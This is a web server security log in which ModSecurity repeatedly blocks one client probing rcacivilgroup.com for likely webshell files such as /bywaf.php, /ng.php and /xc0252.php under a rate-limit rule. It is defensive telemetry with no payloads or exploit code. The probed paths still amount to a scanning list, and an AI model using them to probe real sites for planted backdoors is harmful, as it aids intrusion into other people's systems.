[Sun Mar 22 20:22:13.607411 2026] [:error] [pid 51361:tid 51396] [client 172.213.208.27:16311] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bywaf.php"] [unique_id "ab_e9RXYUsdvKC9YWpXgwQAAABc"]
[Sun Mar 22 20:22:14.385659 2026] [:error] [pid 51361:tid 51391] [client 172.213.208.27:19357] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bywaf.php"] [unique_id "ab_e9hXYUsdvKC9YWpXgwwAAABM"]
[Sun Mar 22 20:22:15.153555 2026] [:error] [pid 40039:tid 40050] [client 172.213.208.27:58553] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bywaf.php"] [unique_id "ab_e9x3aDgUJfBYishm08gAAAQk"]
[Sun Mar 22 20:22:16.119860 2026] [:error] [pid 30166:tid 30197] [client 172.213.208.27:19383] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bywaf.php"] [unique_id "ab_e-Lm4_26jKMD0zy3r2AAAAVQ"]
[Sun Mar 22 20:22:16.804588 2026] [:error] [pid 51361:tid 51379] [client 172.213.208.27:31937] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ab_e-BXYUsdvKC9YWpXgxgAAAAg"]
[Sun Mar 22 20:22:17.460591 2026] [:error] [pid 30166:tid 30191] [client 172.213.208.27:8615] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ab_e-bm4_26jKMD0zy3r4QAAAVA"]
[Sun Mar 22 20:22:18.395538 2026] [:error] [pid 51361:tid 51388] [client 172.213.208.27:14741] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ab_e-hXYUsdvKC9YWpXgyQAAABA"]
[Sun Mar 22 20:22:19.117276 2026] [:error] [pid 51362:tid 51412] [client 172.213.208.27:19717] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ab_e-8OwPm3DXzTDjUfBKQAAAEs"]
[Sun Mar 22 20:22:19.945356 2026] [:error] [pid 51362:tid 51408] [client 172.213.208.27:21256] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "ab_e-8OwPm3DXzTDjUfBKwAAAEc"]
[Sun Mar 22 20:22:20.670510 2026] [:error] [pid 51361:tid 51372] [client 172.213.208.27:21306] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "ab_e_BXYUsdvKC9YWpXgywAAAAE"]
[Sun Mar 22 20:22:21.425973 2026] [:error] [pid 40039:tid 40044] [client 172.213.208.27:19384] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "ab_e_R3aDgUJfBYishm0-QAAAQM"]
[Sun Mar 22 20:22:22.055285 2026] [:error] [pid 30166:tid 30184] [client 172.213.208.27:58532] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ng.php"] [unique_id "ab_e_rm4_26jKMD0zy3r7QAAAUk"]
[Sun Mar 22 20:22:22.563658 2026] [:error] [pid 30166:tid 30187] [client 172.213.208.27:8516] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/erty.php"] [unique_id "ab_e_rm4_26jKMD0zy3r8AAAAUw"]
[Sun Mar 22 20:22:23.118965 2026] [:error] [pid 51362:tid 51410] [client 172.213.208.27:12601] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/erty.php"] [unique_id "ab_e_8OwPm3DXzTDjUfBMAAAAEk"]
[Sun Mar 22 20:22:23.918415 2026] [:error] [pid 51361:tid 51393] [client 172.213.208.27:19382] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/erty.php"] [unique_id "ab_e_xXYUsdvKC9YWpXg0gAAABU"]
[Sun Mar 22 20:22:24.403170 2026] [:error] [pid 51361:tid 51389] [client 172.213.208.27:26234] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/erty.php"] [unique_id "ab_fABXYUsdvKC9YWpXg0wAAABE"]
[Sun Mar 22 20:22:24.916329 2026] [:error] [pid 51362:tid 51404] [client 172.213.208.27:7832] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "ab_fAMOwPm3DXzTDjUfBNgAAAEM"]
[Sun Mar 22 20:22:25.554458 2026] [:error] [pid 51468:tid 51495] [client 172.213.208.27:58514] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "ab_fAU2TppSvA8W5CBRUTgAAANM"]
[Sun Mar 22 20:22:26.469746 2026] [:error] [pid 51362:tid 51411] [client 172.213.208.27:42972] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "ab_fAsOwPm3DXzTDjUfBOAAAAEo"]
[Sun Mar 22 20:22:27.082529 2026] [:error] [pid 30166:tid 30197] [client 172.213.208.27:26743] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "ab_fA7m4_26jKMD0zy3r9wAAAVQ"]
[Sun Mar 22 20:22:27.928617 2026] [:error] [pid 51363:tid 51432] [client 172.213.208.27:39064] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "ab_fA1wa9x6OCTRkhl26AwAAAIQ"]
[Sun Mar 22 20:22:28.706685 2026] [:error] [pid 51362:tid 51421] [client 172.213.208.27:25094] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "ab_fBMOwPm3DXzTDjUfBOgAAAFQ"]
[Sun Mar 22 20:22:29.448509 2026] [:error] [pid 51468:tid 51491] [client 172.213.208.27:26725] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "ab_fBU2TppSvA8W5CBRUZAAAAM8"]
[Sun Mar 22 20:22:29.977036 2026] [:error] [pid 40039:tid 40054] [client 172.213.208.27:12567] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "ab_fBR3aDgUJfBYishm1EQAAAQ0"]
[Sun Mar 22 20:22:30.765200 2026] [:error] [pid 40039:tid 40049] [client 172.213.208.27:26219] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "ab_fBh3aDgUJfBYishm1EgAAAQg"]
[Sun Mar 22 20:22:31.417629 2026] [:error] [pid 51468:tid 51482] [client 172.213.208.27:34319] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "ab_fB02TppSvA8W5CBRUcQAAAMY"]
[Sun Mar 22 20:22:32.113987 2026] [:error] [pid 51362:tid 51420] [client 172.213.208.27:9054] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "ab_fCMOwPm3DXzTDjUfBRAAAAFM"]
[Sun Mar 22 20:22:32.790215 2026] [:error] [pid 51363:tid 51437] [client 172.213.208.27:9603] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "ab_fCFwa9x6OCTRkhl26BgAAAIg"]
[Sun Mar 22 20:22:33.367978 2026] [:error] [pid 51361:tid 51372] [client 172.213.208.27:34306] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "ab_fCRXYUsdvKC9YWpXg8AAAAAE"]
[Sun Mar 22 20:22:34.010349 2026] [:error] [pid 51468:tid 51485] [client 172.213.208.27:26688] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "ab_fCk2TppSvA8W5CBRUdwAAAMk"]
[Sun Mar 22 20:22:34.750308 2026] [:error] [pid 51468:tid 51477] [client 172.213.208.27:39067] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "ab_fCk2TppSvA8W5CBRUewAAAME"]
[Sun Mar 22 20:22:35.368074 2026] [:error] [pid 51363:tid 51442] [client 172.213.208.27:12549] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "ab_fC1wa9x6OCTRkhl26CAAAAI0"]
[Sun Mar 22 20:22:35.974733 2026] [:error] [pid 30166:tid 30191] [client 172.213.208.27:34342] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "ab_fC7m4_26jKMD0zy3sDgAAAVA"]
[Sun Mar 22 20:22:36.917811 2026] [:error] [pid 51468:tid 51476] [client 172.213.208.27:10165] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "ab_fDE2TppSvA8W5CBRUfAAAAMA"]
[Sun Mar 22 20:22:37.500138 2026] [:error] [pid 51468:tid 51500] [client 172.213.208.27:10153] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "ab_fDU2TppSvA8W5CBRUfgAAANg"]
[Sun Mar 22 20:22:38.062357 2026] [:error] [pid 51468:tid 51483] [client 172.213.208.27:15130] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "ab_fDk2TppSvA8W5CBRUgQAAAMc"]
[Sun Mar 22 20:22:38.649707 2026] [:error] [pid 40039:tid 40051] [client 172.213.208.27:1783] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwq13.php"] [unique_id "ab_fDh3aDgUJfBYishm1HgAAAQo"]
[Sun Mar 22 20:22:39.326632 2026] [:error] [pid 51362:tid 51406] [client 172.213.208.27:9030] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwq13.php"] [unique_id "ab_fD8OwPm3DXzTDjUfBTgAAAEU"]
[Sun Mar 22 20:22:39.966998 2026] [:error] [pid 51362:tid 51411] [client 172.213.208.27:14405] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwq13.php"] [unique_id "ab_fD8OwPm3DXzTDjUfBUAAAAEo"]
[Sun Mar 22 20:22:40.765283 2026] [:error] [pid 40039:tid 40057] [client 172.213.208.27:9891] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwq13.php"] [unique_id "ab_fEB3aDgUJfBYishm1JQAAARA"]
[Sun Mar 22 20:22:41.414073 2026] [:error] [pid 51363:tid 51434] [client 172.213.208.27:9069] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aapig.php"] [unique_id "ab_fEVwa9x6OCTRkhl26EgAAAIY"]
[Sun Mar 22 20:22:42.466436 2026] [:error] [pid 51363:tid 51442] [client 172.213.208.27:1536] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aapig.php"] [unique_id "ab_fElwa9x6OCTRkhl26FAAAAI0"]
[Sun Mar 22 20:22:43.046481 2026] [:error] [pid 40039:tid 40053] [client 172.213.208.27:7826] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aapig.php"] [unique_id "ab_fEx3aDgUJfBYishm1KQAAAQw"]
[Sun Mar 22 20:22:43.755375 2026] [:error] [pid 51363:tid 51452] [client 172.213.208.27:9654] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aapig.php"] [unique_id "ab_fE1wa9x6OCTRkhl26FgAAAJY"]
[Sun Mar 22 20:22:45.966932 2026] [:error] [pid 30166:tid 30196] [client 172.213.208.27:23592] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/webadmin.php"] [unique_id "ab_fFbm4_26jKMD0zy3sEQAAAVM"]
[Sun Mar 22 20:22:46.644891 2026] [:error] [pid 51363:tid 51436] [client 172.213.208.27:14424] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/webadmin.php"] [unique_id "ab_fFlwa9x6OCTRkhl26GAAAAIc"]
[Sun Mar 22 20:22:47.275842 2026] [:error] [pid 30166:tid 30197] [client 172.213.208.27:17850] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/webadmin.php"] [unique_id "ab_fF7m4_26jKMD0zy3sFQAAAVQ"]
[Sun Mar 22 20:22:47.885124 2026] [:error] [pid 51363:tid 51444] [client 172.213.208.27:29844] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/webadmin.php"] [unique_id "ab_fF1wa9x6OCTRkhl26GQAAAI8"]
[Sun Mar 22 20:22:48.582710 2026] [:error] [pid 40039:tid 40043] [client 172.213.208.27:14447] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xc0252.php"] [unique_id "ab_fGB3aDgUJfBYishm1MgAAAQI"]
[Sun Mar 22 20:22:49.308812 2026] [:error] [pid 51361:tid 51379] [client 172.213.208.27:18994] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xc0252.php"] [unique_id "ab_fGRXYUsdvKC9YWpXhBgAAAAg"]
[Sun Mar 22 20:22:49.920078 2026] [:error] [pid 51362:tid 51420] [client 172.213.208.27:10311] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xc0252.php"] [unique_id "ab_fGcOwPm3DXzTDjUfBXQAAAFM"]
[Sun Mar 22 20:22:50.688136 2026] [:error] [pid 51362:tid 51412] [client 172.213.208.27:7745] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xc0252.php"] [unique_id "ab_fGsOwPm3DXzTDjUfBXgAAAEs"]
[Sun Mar 22 20:22:51.376374 2026] [:error] [pid 30166:tid 30186] [client 172.213.208.27:14425] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws84.php"] [unique_id "ab_fG7m4_26jKMD0zy3sIAAAAUs"]
[Sun Mar 22 20:22:52.022194 2026] [:error] [pid 51362:tid 51415] [client 172.213.208.27:36158] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws84.php"] [unique_id "ab_fHMOwPm3DXzTDjUfBYQAAAE4"]
[Sun Mar 22 20:22:52.643565 2026] [:error] [pid 51362:tid 51401] [client 172.213.208.27:10259] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws84.php"] [unique_id "ab_fHMOwPm3DXzTDjUfBZAAAAEE"]
[Sun Mar 22 20:22:53.297449 2026] [:error] [pid 51363:tid 51439] [client 172.213.208.27:48248] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws84.php"] [unique_id "ab_fHVwa9x6OCTRkhl26GgAAAIo"]
